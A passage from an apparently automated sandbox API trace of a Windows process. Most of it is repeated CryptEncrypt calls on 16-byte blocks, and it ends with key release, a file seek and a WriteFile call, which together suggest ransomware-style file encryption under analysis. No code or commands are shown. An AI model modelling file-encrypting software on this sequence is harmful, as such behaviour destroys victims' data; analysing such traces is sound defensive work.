pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.164] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.165] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.165] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.165] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.165] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.165] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.165] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.165] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.165] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.165] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.165] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.165] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.165] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.165] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.165] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.165] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.165] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.166] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.166] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.166] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.166] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.166] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.166] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.166] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.166] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.166] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.166] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.166] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.166] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.166] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.166] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.166] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.166] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.166] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.167] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.167] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.167] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.167] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.167] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.167] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.167] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.167] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.167] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.167] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.167] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.167] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.167] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.167] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.167] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.167] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.167] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.167] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.167] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.168] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.168] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.168] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.168] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.168] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.168] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.168] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.168] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.168] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.168] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.168] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.168] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.168] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.168] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.168] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.168] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.168] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.169] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.169] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.169] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.169] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.169] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.169] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.169] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.169] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.169] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.169] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.169] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.169] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.169] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.169] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.169] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.169] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.169] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.169] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.169] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.170] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.170] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.170] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.170] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.170] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.170] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.170] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.170] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.170] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.170] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.172] CryptDestroyKey (hKey=0x1639a28) returned 1 [0069.172] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0069.172] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xefac, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0069.172] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, 